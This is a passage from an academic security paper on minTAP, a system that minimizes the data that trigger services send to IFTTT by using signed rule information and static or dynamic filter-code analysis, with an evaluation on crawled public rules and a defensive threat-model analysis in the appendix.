Figure 7: Rule setup phase. The left part represents a high-
level abstraction of IFTTT’s rule setup interface. The right
part details the steps performed by the client (as a browser
extension) in the background.

accompanied by a valid signature.
Concurrent to IFTTT’s token request, the client will also

issue a token request with its code verifier and public key pk
(Step 5*). Upon checking that the code verifier is consistent
with the code challenge, the service will accept and store the
public key pk. Finally, a special token is returned to the client
(Step 6*), which can be used to revoke a public key or upload
a new one if desired.

We note that our protocol combines both the current OAuth
authorization code flow and the PKCE flow, and thus inherits
their security properties (see Appendix A or more details).
Finally, all protocol-level extensions occur transparently to
IFTTT and the end-user, thus achieving our goals of not creat-
ing changes to the user’s experience or to how IFTTT works.

6.2 Rule Setup Phase
In this phase, minTAP achieves two main goals. First, it gen-
erates the auxiliary information for minimizing user-created
rule that can be used by the trigger service to filter out unused
attributes. Second, it computes a digital signature to ensure
the authenticity and integrity of the information, preventing
the attacker (i.e., IFTTT) from modifying it. The signature, in
combination with the access token that IFTTT acquires from
the service authorization phase, serves as a logically-fine-
grained token that uniquely identifies the rule and prevents
token-level overprivilege. If IFTTT tries to invoke a trigger
service API, it must always present a valid token and a valid
signature — any other requests are automatically denied.

Fig. 7 shows the workflow of the setup phase. The user
creates a new rule (or modifies an existing one) through the
interface provided by IFTTT (Step 1). This involves selecting
a trigger and an action from the appropriate services, specify-
ing trigger and action fields, and optionally writing the filter
code. We define the combination of all these data to be the
rule information. Before the user saves the rule to IFTTT, the
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client transparently and atomically captures the rule informa-
tion. It then computes the auxiliary information m required
for the static and dynamic minimizers (Step 2-4) as instructed
in Fig. 4.

This information is needed by the trigger service during
rule execution to apply the minimizer. As the trusted client
might not be online during execution (functionality require-
ment, Section 4.2), we store the minimizer as part of IFTTT’s
rule information. To achieve this, minTAP’s compatibility
layer registers an additional trigger field with IFTTT to hold
this special minimizer parameter. This appears as an addi-
tional user-configurable trigger field in the rule setup inter-
face. The client will automatically fill in the value of this new
trigger field with the minimizer information (Step 5).

Because IFTTT could tamper with the minimizer informa-
tion before sending it to the trigger service, the client sets up
another user-configurable trigger field to hold a signature σ.
We additionally observe that even if IFTTT does not modify
the minimizer information, it can still modify other trigger
fields to request unauthorized data — in our running example
(Fig. 1), IFTTT can change the From field to get the email
from another person. Therefore, in addition to the minimizer,
the client signs all of the original trigger fields as well as the
identity of the trigger. The client also automatically fills in
the signature value (Step 6). Once the user hits save, all this
data is persisted inside IFTTT.

The trigger, trigger fields, and minimizer information define
the amount of data the user wants IFTTT to access. Together
with the signature guaranteeing integrity and authenticity, this
forms a correctly-privileged fine-grained token that mitigates
privacy issues from overprivilege.

6.3 Rule Execution Phase
When a rule executes, IFTTT contacts the trigger service to
obtain data attributes [33]. This HTTP request from IFTTT
bundles all the trigger fields as query parameters, including
the auxiliary information of minimizer m and the signature
σ. Upon receiving this information, the trigger service will
first verify the integrity and authenticity of the request, which
includes checking if the access token is valid (per standard
OAuth procedure) and if the signature is correct using the
public key pk corresponding to that user.

Once verified, the trigger service will use the minimizer in-
formation (m) to apply the minimizer on the trigger attributes
to sanitize unused values. As mentioned in Section 5, minTAP
provides two minimizers — static and dynamic — with vary-
ing levels of precision and performance overhead. The trig-
ger service can run one of the two functions SMinimizer or
DMinimizer (in Fig. 4) on the trigger data DT . While running
SMinimizer is straightforward, running DMinimizer could re-
quire executing untrusted client/user-provided code f ′. We
show the dynamic execution flow in Fig. 8. Based on our
threat model, a malicious user could use this opportunity to
violate the security of the trigger service or its other users.

Trigger Data

Isolated 
Sandbox

Client’s Public 
Key (𝑝𝑘)

𝑚 = 𝑓', 𝑇' ,
𝜎 fails

Verify 
signature

success

𝑓'
Merge

𝑇′

Sanitize 
trigger data

To IFTTT

From IFTTT

attributes 
accessed 

by 𝑓′

skips minimized 
trigger data

minimized 
set of 

attributes 

Figure 8: Figure shows the rule execution steps with dynamic
minimization at the trigger service. IFTTT queries the service
with the minimizer auxiliary information m = ( f ′,T ′) and the
signature (σ). The trigger service applies DynamicMinimizer
on the trigger data m, and responds with the sanitized trigger
data to IFTTT.

Therefore, we deploy an isolated JavaScript container with
strict security policies to prevent the code from affecting any-
thing outside the container. We provide more details on how
to configure the container and integrate it into our system
in Section 7.

The static minimizer is straightforward to deploy, requiring
no additional computing infrastructure on the trigger service.
However, static minimizers are inherently conservative be-
cause they do not have access to the actual values of trigger
data. On the other hand, dynamic minimizers can benefit from
knowing the trigger data when minimizing the set of neces-
sary attributes. For example, if the filter code hits a skip, then
no action will be performed and hence no data will be sent to
IFTTT. This provides significant privacy benefits if the rule
executes only in very specific conditions, such as the example
shown in Fig. 1 and 2. Section 8 provides a set of guidelines
to help trigger services decide which minimizer to run.

We note that the trigger service can continue to support
IFTTT users who do not use minTAP: if the request does
not come with the minimizer information, the trigger service
will reject the request if the user has uploaded its public key
(indicating IFTTT maliciously drops the information), and
accept otherwise (indicating the user does not use minTAP).
In addition, while a user can connect to a mixture of minTAP
services and non-minTAP services, all rules they create with
minTAP service must be minTAP-compatible, since the at-
tacker (per our threat model, an untrustworthy IFTTT) will
gain access to all user data in this service through token- and
attribute-level overprivilege even when just one rule is not
minTAP-compatible.

We provide a security analysis of minTAP’s protocol in
Appendix A, where we show that it upholds three security
invariants: (1) only the user’s client obtains the client access
token, (2) the trigger service only accepts the public keys
from the client, and (3) any modifications to the original
rule configuration or the information generated by the client
will be detected by the trigger service. Together they ensure
that the attacker cannot tamper with the protocol to request
unwarranted data.
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7 Evaluation
To evaluate minTAP, we have collected a large-scale dataset
of publicly available IFTTT rules, which includes the detailed
configurations (such as filter code) of each rule (Section 7.1).
Then, we analyze the privacy benefits of minTAP on this
dataset in Section 7.2. Finally, we discuss our implementation
and evaluate its performance overhead in Section 7.3.

7.1 Dataset
Existing IFTTT datasets [39, 46] do not support our evalu-
ation, due to the absence of crucial information like filter
code and configurations of trigger/action fields. These inter-
nal configurations of the rule are necessary to determine the
auxiliary information of the minimizer. To better evaluate the
privacy benefits and performance overhead of minTAP, we
have crawled IFTTT2 and curated a dataset of 59,009 trigger-
action rules that are publicly published on IFTTT. To the best
of our knowledge, this is the first large-scale dataset that col-
lects the internal configurations (including the configurations
of trigger/action fields and filter code) of each rule.

Data collection. IFTTT’s developer platform provides an
API for accessing the rule configurations for all public rules
by their IDs. We obtained the 59,009 valid rule IDs by analyz-
ing the URLs in IFTTT’s public sitemap in April 2021. All
rules in our dataset are accessible by search engines. They
can be installed by IFTTT users and their configurations can
be inspected by IFTTT users. For each rule in the dataset, we
thus obtained its general information, such as title, description,
and the connected trigger/action service, as well as its config-
uration, which includes the configurations of trigger/action
fields and filter code (when available). Out of these rules, 554
contained filter code.

Rules with private triggers. We are only interested in the
rules that can access sensitive trigger attributes. Based on
the classifications proposed by Bastys et al. [19], we find
34,419 (58%) rules that are connected to private triggers (such
as emails, documents, and locations, as opposed to public
triggers like news reports). In addition, out of the rules with
filter code, 376 (68%) are connected to private triggers. For
the rest of the section, we will use these private-trigger rules
and filter code to evaluate minTAP.

7.2 Privacy Benefits
We study the extent to which minTAP mitigates the privacy
issues arising from attribute- and token-level overprivilege
in IFTTT. The presence of the signature in minTAP’s design
(Section 6.2) ensures that IFTTT’s token can only be used to
query data from the connected trigger API, preventing any
token-level overprivilege. Therefore, we measure the privacy
savings of minTAP in terms of the following two metrics that

2Legal counsel at our institution has confirmed this is considered as fair
use under DMCA and does not violate IFTTT’s terms of use.
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Figure 9: CDFs showing the percentage of rules that have at
least x total / unused / unused-and-highly-sensitive attributes.

Sensitivity Resource Type: Example Attributes % Attr % Rule

Low
Timestamp: CreatedAt, OccurredAt 26.7% 84.0%
Access-controlled link: PublicUrl 2.2% 7.2%

Total 28.9% 86.2%

High

Event description: EventName, About 23.0% 43.7%
User info: FullName, Email, Number 13.0% 32.7%
Location: Longitude, Latitude 9.0% 19.1%
Downloadable link: PhotoUrl, Mp3Url 6.5% 16.9%
Bookmark: Article, Website 5.3% 4.7%
Message: Body, Subject, Message, Text 3.3% 9.4%
Other: SensorValue, Duration, List 4.7% 10.9%

Total 60.7% 79.4%

Unknown
Generic link: Url, Link 5.0% 15.3%
Misc name: SheetName, ChannelName 3.5% 11.1%

Total 8.5% 20.5%

Figure 10: Breakdown of unused attributes by sensitivity.
Each row represents a category of attributes. The third col-
umn denotes, out of all occurrences of unused attributes, the
percentage that contains this category’s keywords (see Ap-
pendix C for detailed keyword lists) and the fourth column
denotes the percentage of rules that have at least one unused
attribute with such keywords.

measure the degree of reduction in attribute-level overprivi-
lege: (1) The number of unused attributes for each rule that
would not be transmitted to IFTTT; and (2) When filter code
is present, the estimated frequency of skips, resulting in no
attributes being transmitted.

Rules without filter code. If a rule does not contain filter
code, minTAP will apply the static minimizer: each trigger
attribute that does not appear in the rule’s default action fields
will be labeled as unused. Across the 34,419 rules that are
connected to private triggers, we find that a median of 4 trigger
attributes (or 3.7 on average) are unused. The orange line in
Fig. 9 shows a cumulative distribution of rules based on the
number of unused attributes. We find that more than 90% of
rules have at least two unused attributes. With minTAP, all
these unused attributes will not be transmitted to the TAP.

We also examine the sensitivity of the unused attributes in
these rules. Even if the trigger is considered a private source,
not every attribute represents a sensitive resource. We con-
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ducted a case study by first randomly sampling 10% out of
the 3,255 unique unused attributes and grouping them into
different categories based on the types of resources they rep-
resent (second column of Fig. 10). Then, we picked out the
attributes that, when leaked, do not grant IFTTT access to any
additional information. We labeled the attributes based on the
following sensitivity criteria.

• Low: This attribute does not carry sensitive information
or represents the event’s timestamp. We specifically label
timestamps as low since IFTTT can infer them by observ-
ing the arrival time of the trigger service’s messages.

• High: Exposing this attribute to IFTTT will reveal sensitive
information, including personal identifiable information or
private files. In some cases, the value of an attribute may be
publicly available, such as websites, but the user’s access
to it can be sensitive. These information is also labeled
High. In Fig. 9, the green line shows the distribution of
unused High sensitive attributes in our rule dataset.

• Unknown: Given this attribute’s name alone, we cannot
distinguish its sensitivity. For example, if an attribute is
named URL, it can be either a downloadable link to a private
file or an access-controlled link that does not reveal any
information without user’s login credential, depending on
the corresponding service’s implementation.

Finally, we observed the typical keywords appearing in the
attribute’s names for each category (the detailed criteria are
listed in Appendix C) and estimated the prevalence of each
category in the entire dataset based on the occurrences of
these keywords. In summary, we found that 60% of the unused
attributes are labeled as highly sensitive and 79% of the rules
contain at least one highly sensitive attribute (Fig. 10).

Rules with filter code. We show the CDFs of unused at-
tributes for the 376 rules with filter codes in Fig. 9. Most of
these rules contain very simple snippets with a few lines of
code (left part of Fig. 11). 315 (84%) rules include conditions
that lead to the skipping of actions. For these rules, trigger
service can choose to use either static or dynamic minimizers.
The main benefit of dynamic minimizer is that it can deter-
mine when a rule needs to be skipped, leading to maximum
privacy savings. These 315 rules have a median of 5 attributes
— all of which will be sanitized if the rule skips, compared to
the median of 3 attributes sanitized by the static minimizer.
Even when the skipping does not happen, we still find three
rules where the dynamic minimizer is more precise than the
static one, sanitizing 1.7 attributes more on average. We show
one of these rules in Appendix B. In addition, we found 201
(54%) rules compute their skip conditions purely based on
the trigger timestamp. If we assume that their triggers occur
uniformly throughout the week, then these rules on average
will skip 62% of the time (right part of Fig. 11).
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Figure 11: Filter code characterizations. (left) Histogram of
filter codes based on lines of code. (right) CDF of the simu-
lated skip probability for time-based filter code.

7.3 Performance Evaluation
We evaluate the performance of two components of minTAP,
namely the client-side browser extension and the modified
compatibility layer on the trigger service. To simulate a trig-
ger service with minTAP additions, we build and deploy an
IFTTT-compatible trigger service for testing. The service is
hosted on n1-standard-2 instance with 2 vCPUs and 7.5 GB
memory on Google Cloud. We install the client on a Macbook
Pro with a 2.2 GHz 6-Core CPU and 16 GB memory running
Chrome version 87. We measure the performance of minTAP
based on the execution latency, service throughput, and mem-
ory overhead. Across the board, we find these impacts are
modest and acceptable. We did not observe any noticeable
effect in the performance of TAP rules due to minTAP.

Implementation Notes. We implement the client as a
Chrome extension that monitors the user’s interactions with
the IFTTT webpage by analyzing the endpoints being vis-
ited. For example, it will launch the authorization phase if the
user visits URLs like ifttt.com/[service]/redirect_
to_connect. The shim on service’s compatibility layer con-
sists of two pieces: (1) A Python library that will upgrade the
trigger service’s APIs so that they can engage in minTAP’s
protocol, and (2) A runtime environment that can securely
execute transformed filter code for dynamic minimization. We
use isolated-vm [35] to provide a restricted execution environ-
ment. For efficiency, our implementation maintains a pool of
4 warmed-up isolated-vms and routes each incoming request
into a new sandboxed execution context created inside the
VM with least memory usage. We also compile moment.js, a
library used by IFTTT for advanced date parsing [31], into
the execution context if required. All isolated-vms are config-
ured with an explicit timeout of 15 sec and a memory limit of
128 MB to further protect the trigger service’s infrastructure.

7.3.1 Latency of the Client

The client’s overhead consists of the time it takes to hash the
OAuth PKCE code verifier during service authorization phase
and the time to compute and sign the aux. minimizer info
during the rule setup phase. Hashing for computing the PKCE
code verifier takes less than 0.15 ms, and is thus negligible.
We setup all the rules in our filter code dataset and report the
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Figure 12: Evaluation results of minTAP. (left) The average execution time for the client during the rule setup. The rules are
separated into different groups, based on the lines of code. (middle) CDF of the filter code’s execution times in the trigger
service’s isolated environment. (right) The throughput of the trigger service for using static or dynamic minimzer, or baseline
(i.e., w/o modification to the compatibility layer).

average latency for setting up each rule. The rule setup time
varies with the size of the filter code, measured in lines of
code (LoC). The latencies for filter codes of different sizes
are shown on the left of Fig. 12.

We observe that the client takes approximately 39 ms to
compute the minimizer information and its signature when
no filter code is present. For the most complicated filter code
in our dataset (with more than 40 LoC), it only takes 128 ms.
This overhead has a negligible impact on user experience
because it hides within larger latencies introduced by the UI
— it takes approximately 6000 ms for the browser to fully load
the rule setup page and 800 ms to save a programmed rule.

7.3.2 Overhead of the Modified Compatibility Layer

During rule execution, minTAP requires the trigger service
to apply (static or dynamic) data minimization of the trigger
data. We examined how it affects the overall throughput and
latency of the trigger service. For static minimization, we
randomly sampled 50 rules from our no-filter-code dataset.
For dynamic minimization, we randomly sampled 50 rules
from filter code dataset and manually prepared input trigger
data to ensure the longest path in each filter code is executed.

Latency. We compute the latency overhead of minTAP as
the relative increase in the request serving time with respect
to the unmodified trigger service (that does not support data
minimization). On average, the latency increases by 5.5 ms
when dynamic minimization is used, and only 0.45 ms when
static minimization is used. Since the end-to-end latency of
a trigger-action rule in IFTTT is more than two minutes on
average [39], the extra latency caused by minTAP’s compat-
ibility layer is not noticeable in practice. We further looked
into the time to execute the transformed filter code inside the
isolated-vm, to understand the impact of different filter codes
on the latency of dynamic minimizer. In the middle of Fig. 12,
we show the CDF of execution times for different filter codes.
We observe that execution is efficient: 96% of the filter codes
take less than 1 ms.

Service throughput. We measured the throughput of the
trigger service as the number of requests handled per second
under concurrent requests. We gradually increase concurrency

levels until the throughput saturates (and latency increases).
We measure throughput in three conditions: (1) baseline (with-
out minTAP modification to the compatibility layer); (2) with
dynamic minimizer; (3) with static minimizer. The throughput
for different settings is shown on the right of Fig. 12. Over-
all the compatibility layer is lightweight, throughput is only
reduced by less than 50% when dynamic minimizer is used,
and by less than 20% when static minimizer is used. Prior
work has characterized trigger rates on popular services and
determined that the most popular one executes approximately
1,702,353 times, while IFTTT contacts the trigger service
every 15 minutes [39], which translates to an average of
1,892 requests per second. With minTAP enabled, the trigger
service can handle 1,404 requests per second with dynamic
minimizer or 2462 requests per second with static minimizer
even on our basic test setup. Considering that many rules
do not contain filter code and, therefore, no need to use the
dynamic minimizer, even with very limited computational
budgets, it will be easy for trigger service to use minTAP
modifications on their existing IFTTT compatibility layer.

Memory and storage overhead. With a pool of four
isolated-vm, we recorded a maximum memory usage of 341
MB under the peak throughput (with dynamic minimizer en-
abled). minTAP’s compatibility layer imposes little storage
overhead on the trigger service that only needs to store one
public key for each user. Considering IFTTT already requires
compatible services to store the data of the past 50 events and
recommends them to store a unique trigger id [29] for every
rule, the additional overhead of minTAP is negligible.

8 Discussion
Adopting minTAP. Trigger services who wish to protect
their user data (and possibly reduce friction with legal frame-
works) can use minTAP as a lightweight method to mitigate
data misuse. They obtain these benefits at the minimal cost
of upgrading their existing IFTTT-compatibility layers to in-
clude minTAP improvements. As described in Section 2, this
layer hosts a number of APIs that follow IFTTT’s specifi-
cations for authorization and data querying, and handles all
communications between IFTTT and the service. We provide
minTAP as a portable Python library that enables a seamless
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upgrade. The service provider could potentially increase its
computational capacity for the modest performance overhead
(Section 7.3), however, existing elastic services might handle
this automatically. Finally, we note that other parts of the
service’s infrastructure do not need to be changed. The tech-
nique of minTAP also applies to other commercial TAPs (e.g.,
Zapier) with slight adjustments in implementation.

minTAP-Client usage. Each end-user trusts only their
minTAP-client and it serves as the main contact point be-
tween users and the TAP. While the client can take many
forms (e.g., mobile or desktop app), we prototyped it as a
browser extension for ease-of-use. Once the client is installed,
the user does not need to perform any extra operations to
create minTAP rules. The client only has permission to inter-
act with ifttt.com and send requests to compatible services
authorization APIs. It does not save any personal data except
OAuth tokens and cryptographic keys using local storage. As
mentioned in Section 6.1, these tokens cannot be used to re-
quest user data from the services. We envision that the client
and the cloud-based TAP will be separate entities adhering
to the minTAP protocol (e.g., similar to the current diversity
of Telnet, FTP, SSH client and server software). A user can
switch between multiple clients (e.g., if a client device is
lost) if they support encrypted cloud backups of the keys and
tokens. We leave implementing this as future work.

Deleting/modifying rules. If a user deletes or modifies a
rule, the minimizer and signature for the old version should
be invalidated — a problem similar to certificate revocation.
minTAP-client creates a new signing keypair during a rule-
update operation and sends the public key to the trigger ser-
vice using its special OAuth token. It also transparently up-
dates the signature on existing rules in a background page.

Static vs. dynamic minimization. minTAP offers the trig-
ger services a choice of whether to run static or dynamic
minimization. Recall that static minimization determines nec-
essary attributes at rule setup time, whereas the dynamic min-
imizer instruments filter code during rule setup and then re-
quires the trigger service to run the instrumented version to
learn about necessary attributes. We outline a few considera-
tions to help trigger services make an informed decision.

The advantages of static minimization are: (1) Lower over-
head on trigger services; (2) No additional security challenge
of sandboxing filter code; and (3) Possibility to run distributed
minimizers [17]. Distributed minimizers focus on minimizing
data that is provided by multiple sources. This is relevant to
IFTTT’s emerging feature of queries [34] that allow pulling
data from multiple trigger services. A static extension to han-
dle queries is straightforward: based on the filter code, the
client can determine the set of used attributes and pass this
information to the relevant trigger services. Note that queries
are a challenge for the dynamic approach because the trigger
service has no access to data from the other services that is

required to run the filter code.
The advantages of dynamic minimization are: (1) High

precision because the set of used attributes may depend on
runtime values passed to filter code (static analysis approxi-
mates these values). In some extreme cases, the imprecision
of JavaScript’s static analysis may also in theory deem a used
attribute as redundant, although we have not encountered such
imprecision in our evaluation due to the non-adversarial na-
ture of filter code. (2) Precise modeling of skips and timeouts.
When filter code reaches a skip or times out, there is no need
to send any attributes to IFTTT. Predicting skip and timeout
reachability is particularly hard for static analysis.

Multiple actions. TAPs sometimes allow rules to have mul-
tiple actions, a feature enabled, for example, for IFTTT’s
premium users. Our approach straightforwardly generalizes
to multiple actions. Static minimization remains largely un-
changed, tracking access of trigger attributes in the action
fields of all actions combined. Similarly, dynamic minimiza-
tion will track the access of trigger attributes in the sanitized
filter code with the only modification that the trigger service
will skip as a whole only if it detects calls to skip for each of
the actions in the rule.

Encrypting trigger fields and attributes. The OTAP sys-
tem encrypts trigger attributes and fields when no filter code is
present [23]. We sketch a simple approach to extend minTAP
to fully integrate OTAP’s approach. During the service au-
thorization phase, minTAP’s client exchanges an additional
symmetric encryption key with the trigger and action services.
During rule setup, the client encrypts the trigger fields with
this key and stores them in the TAP. During rule execution, the
trigger service receives the encrypted trigger fields, obtains
the minimized trigger data, encrypts the trigger data using
the same key, and sends them to the TAP. Thus, minTAP can
support OTAP guarantees when no filter code is present.

Performance benefits of minTAP. We remark that in addi-
tion to the privacy benefits, minTAP collaterally brings some
performance benefits. While there are performance penalties
incurred by minTAP’s additional computation, minTAP liber-
ates trigger services from generating and sending redundant
attributes. The results of the privacy evaluation from Sec-
tion 7.2 are thus encouraging not only for boosting privacy
but also for reducing communication overhead.

Data-specific minimization. The precision of dynamic min-
imizer can be further improved by incorporating symbolic ex-
ecution to achieve data-specific attribute minimization. Sym-
bolic execution allows for automated exploration of the pro-
gram control-flow graph, precise program state reasoning, and
generation of the input that leads to a given program point.
For example, if a string attribute is used only in a condition
for substring matching, we can replace this attribute with just
the substring. Currently, as shown on the left of Fig. 11, only
a small fraction of filter codes that have non-time-based con-
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ditions can benefit from such symbolic analysis. However,
rules in other types of trigger-action settings (such as Node-
RED [11] and OpenWhisk [10]) where more complicated pro-
gramming paradigms are required may benefit from symbolic
execution. We leave this for future work, bearing in mind that
when filter codes contain nested conditions symbolic analysis
may become inefficient due to path explosion [37].

9 Related work
We refer the reader to the recent work [13, 18, 20] outlining
the state-of-the-art on securing TAPs. Our work is inspired by
the principles of least privilege and need-to-know [44].

Privileges on TAPs. Prior work has shown that TAPs obtain
overprivileged access to trigger/action APIs [25] allowing
them to harvest private information without the user know-
ing [50] and opening for malicious rule makers to exploit
TAP’s privileges [12, 19]. This motivates our work.

The DTAP system protects the integrity of rules under a
malicious TAP [25]. By contrast, we address the orthogonal
question of data privacy. In addition to mitigating the pri-
vacy issues that arise from token-level overprivilege, minTAP
goes further and addresses the attribute-level overprivilege.
DTAP relies on extending the OAuth protocol with so-called
XTokens to express fine-grained privileges and requires mod-
ifications to existing TAPs for deployment, whereas minTAP
is fully compatible with existing unmodified TAPs.

The OTAP system uses encryption and cover-traffic
schemes to protect the confidentiality of data while it transits
through an untrusted TAP [23]. This approach can protect
data end-to-end, but it does not allow computations (i.e., filter
code) — a primary feature on TAPs. By contrast, minTAP
only releases the attributes that rules need, supports compu-
tations on data, making it practical and readily deployable.
OTAP and minTAP occupy different points in the design spec-
trum but can be unified and supported in a single framework
leveraging the minTAP infrastructure.

The eTAP system uses garbled circuits for rule execu-
tion [22]. It provides strong confidentiality and integrity guar-
antees, but at the price of requiring extensive architectural
changes to the TAP, supporting a limited subset of filter code
and higher overhead. By contrast, minTAP works with un-
modified TAPs and supports more expressive filter code with
minimal overhead.

Filter-and-Fuzz analyzes how events from a smart home
can be sanitized to ensure that IFTTT does not learn more
information than necessary [50]. It relies on textual analysis
to identify unnecessary events. By contrast, minTAP uses
program analysis to identify unused data attributes. minTAP
can benefit from hiding statistical patterns of sensitive events
by composing them with the Fuzzing piece of Filter-and-Fuzz.

Secure hardware. Recent efforts leverage secure hardware
for protecting users’ data from TAPs. Hardware-based trusted
execution environments (TEEs) enable computing over the

trigger data on the TAP, while preserving the confidential-
ity [45, 53]. Besides requiring hardware changes to the TAP
backends, current TEEs suffer from fundamental security de-
sign issues [21, 41, 47].

Language-based data minimization. Data minimization is
a principle restricting data collection to “what is necessary
in relation to the purposes for which they are processed” [6].
Antignac et al. [17] formalize the notions of monolithic and
distributed minimization for programs with single and multi-
ple sources of information, respectively. They reason about
best minimizers that remove all redundant information be-
fore passing the data to the data processor. They demonstrate
that although computing the best minimizers is in general
undecidable, it is possible to approximate data minimizers
by symbolic execution techniques. Unfortunately, these tech-
niques require coming up with invariants for programs with
loops, a long-standing challenge in program verification [26].
Pinisetty et al. [43] utilize testing techniques to improve the
precision of minimizers for programs and leave synthesizing
minimizers as future work. Drawing on the work by Antignac
et al., we contribute a lightweight data minimization technique
that focuses on the attributes used by programs. We generalize
the definition by Antignac et al. to be sensitive to individual
program runs and show that a simple (and fully automatic)
dependency analysis can be used for data minimization by
ruling out unused attributes in program runs.

Minimum exposure. Related to our ideas is the line of work
on minimum exposure in data collection by authorities. An-
ciaux et al. [14–16] focus on the case of collecting forms
(like tax forms) for governments. They consider the num-
ber of inputs to withhold for the privacy of the applicants
and discuss data-dependent minimum exposure. However, the
computational model is that of assertions on particular shapes
of formulas that represent form collection logic, making their
algorithmic solutions less applicable to scenarios of general
programs. By contrast, our approach naturally extends the
language-based approach to data minimization which applies
to arbitrary (runs of) programs.

10 Conclusion
We have presented minTAP, a framework for practical data ac-
cess minimization in trigger-action platforms. We study two
levels of overprivileges that are common on TAPs: attribute-
level overprivileges, e.g., sending to the TAP the content of
emails even if the rule only involves the headers, and token-
level overprivileges, e.g., granting the TAP full access to
cloud services. To address both types of overprivilege, we put
language-based data minimization to work and demonstrate
how dependency analysis can identify redundant attributes.
We deploy minTAP on IFTTT, showing how to minimize
trigger data before it is sent, thus boosting privacy while
preserving the functionality. We evaluate the security and
performance of minTAP on a set of realistic benchmarks to
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conclude that minTAP on median sanitizes 4 sensitive trigger
attributes per rule, with a tolerable performance overhead.
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A Security of minTAP
We consider an adaptive attacker (per our threat model, an
untrustworthy TAP) who, given knowledge of how minTAP
works, tries to circumvent its protections. minTAP enforces
three security invariants: (1) only the client should obtain the
client access token, (2) the trigger service should only accept
the public keys from the client, and (3) the attacker cannot
modify the user’s intended rule configuration or minimizer
information without being detected. We consider each phase
of a trigger-action rule’s lifecycle and discuss how minTAP
maintains the invariants despite the attacker’s actions without
introducing new security vulnerabilities.

A.1 Service Authorization Phase
This phase has to ensure the first two security invariants: only
the user’s client can obtain the client token and successfully
upload its public key to the trigger service. As the attacker
is not a global network attacker and has not compromised
the victim’s browser, it cannot manipulate communication
between the client and the trigger service (Step 2-3, 5*-6*).
However, it can try to trick the trigger service by impersonat-
ing the user’s client in the following ways:

Directly request client token. The attacker could try to di-
rectly request a client token for a specific victim user by
initiating the OAuth protocol in the background. However,
this requires either the user’s credential for the trigger service
account or the code verifier generated by the client — neither
is accessible to the attacker per our threat model.

Interfere with ongoing authorization. IFTTT could try to
tamper with an ongoing authorization session (e.g., by ap-
pending its own code challenge). However, per our threat
model, the client is trusted (and in the case of our implemen-
tation, the client is an extension that is protected from IFTTT
by the browser security model), thus preventing IFTTT from
manipulating this process — the client extension will always
intercept any redirects pertaining to OAuth.

Modify OAuth parameters. If the attacker modifies any
OAuth parameters (e.g., scope or redirect URL), it will deviate
from the original OAuth code authorization flow and result
in an authorization failure, amounting to a denial of service
(outside the scope of our work).

Upload its own key. As mentioned in Section 6.1, the ac-
cess token acquired by IFTTT in Step 6 does not have the
permission to upload new public keys to the trigger service —
only the client token has such permission. As we have shown
above, the attacker cannot obtain the client token under our
threat model. Therefore, the second invariant holds.

A.2 Rule Setup Phase
The attacker could try to manipulate the rule and any support
information that minTAP generates. We discuss how minTAP
detects any manipulation during this phase. At a high level,
the client only retrieves a trusted list of triggers and actions
directly from service endpoints and directly communicates the
entire rule and signature information to the IFTTT backend.

Modify trigger and action fields. The attacker may present
false information to the user client during Step 1. For example,
it may add a fake action field, tricking the user to use more
trigger attributes. As discussed, minTAP’s compatibility layer
provides an API for the client to directly retrieve a trusted set
of triggers and attributes.

Modify user’s inputs. This is not possible because the user
only interacts with the client that is isolated from the IFTTT
frontend code by the browser security model. The client even-
tually communicates the programmed rule and its signature
directly to the IFTTT backend. At that point, the attacker can
attempt to manipulate the information, but that will violate
the signature, as we show next.

A.3 Rule Execution Phase
Finally, we discuss how minTAP prevents the attacker from
changing its request to the trigger service, which consists of
the rule configuration and the minimizer-signature tuple, to
access unwarranted user data. This completes the analysis
and fully ensures the third security invariant.

Modify trigger fields. This will cause the signature verifica-
tion to fail, since all of the original trigger fields are among
the information signed during Step 5 of the rule setup phase.

Modify minimizer-signature tuple (m,σ). Dropping the
(m,σ) tuple for users who have uploaded their public keys
will lead to a denial of service. As ensured by the second
security invariant, the attacker cannot upload its own public
key to the trigger service and thus cannot forge the signature.
However, it may attempt to swap the correct (m,σ) tuple of
this rule with another tuple, (m′,σ′), from a different rule. If
(m′,σ′) is generated by another user, σ′ will not match the
current user’s public key. If (m′,σ′) is generated by the same
user but for a different trigger provided by the same service,
it will also lead to a signature mismatch, as the trigger info
(trigger name and trigger fields) is also among the information
signed. If (m′,σ′) is generated by the same user and for the
same trigger but more overprivileged (i.e. requires more trig-
ger attributes compared to the one in question), this request
will be accepted but the attacker cannot gain any new infor-
mation, as it may also acquire this information by honestly
executing that overprivileged rule (which is just another valid
rule created by the user). Finally, the attacker can send (m,σ)
for a rule that was previously deleted — this attack will not
work because deletion would trigger a change in the signing
key, invalidating older signatures (Section 8).
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Rule: Add All Day Event For Office

Filter Code

……

Google Calendar: New event added

Google Calendar: Add detailed event

In The OfficeTitle

Title: Title
Description: Description

Location: Where
Starts: Starts
Ends: Ends

Created: CreatedAt

Description

Title starts StartsLocation

if ( GoogleCalendar.newEventAdded.Where.indexOf("[some street address]") < 0 )
{

GoogleCalendar.addDetailedEvent.skip();
} else {

GoogleCalendar.addDetailedEvent.setDescription("In the office from "
+ GoogleCalendar.newEventAdded.Starts + " to "
+ GoogleCalendar.newEventAdded.Ends);

GoogleCalendar.addDetailedEvent.setAllDay("true");
GoogleCalendar.addDetailedEvent.setStartTime(GoogleCalendar.newEventAdded.Starts);
GoogleCalendar.addDetailedEvent.setEndTime(GoogleCalendar.newEventAdded.Ends);

}

Figure 13: Example IFTTT rule with filter code.

All attributes
With static With dynamic minimizer
minimizer when not skip-

ping
when skipping

Title, Descrip-
tion, Where,
Starts, Ends,
EventUrl, Video-
CallUrl, Create-
dAt

Title, Descrip-
tion, Where,
Starts, Ends,
EventUrl, Video-
CallUrl, Create-
dAt

Title, Descrip-
tion, Where,
Starts, Ends,
EventUrl, Video-
CallUrl, Create-
dAt

Title, Descrip-
tion, Where,
Starts, Ends,
EventUrl, Video-
CallUrl, Create-
dAt

Figure 14: The outcomes of applying different minimizers to
the example rule in Fig. 13.

B Example IFTTT Rule
In Fig. 13, we present an IFTTT rule [1] with filter code in
our dataset. This rule converts a Google Calendar event that
occurs in the user’s office location to a detailed all-day event.
We compare the outcomes of applying different minimizers
in Fig. 14.

C Attribute Category Criteria
We list below the detailed criteria for how we determine which
category each attribute belongs to in our evaluation of privacy
benefits (Section 7.2). We note that there are overlappings
between different categories. For example, an attribute named
LocationMapImageUrl counts as both location and down-
loadable link. However, we use the third criteria to ensure
there are no overlappings between categories of different sen-
sitivity levels.

Timestamp. In IFTTT, attributes representing timestamps
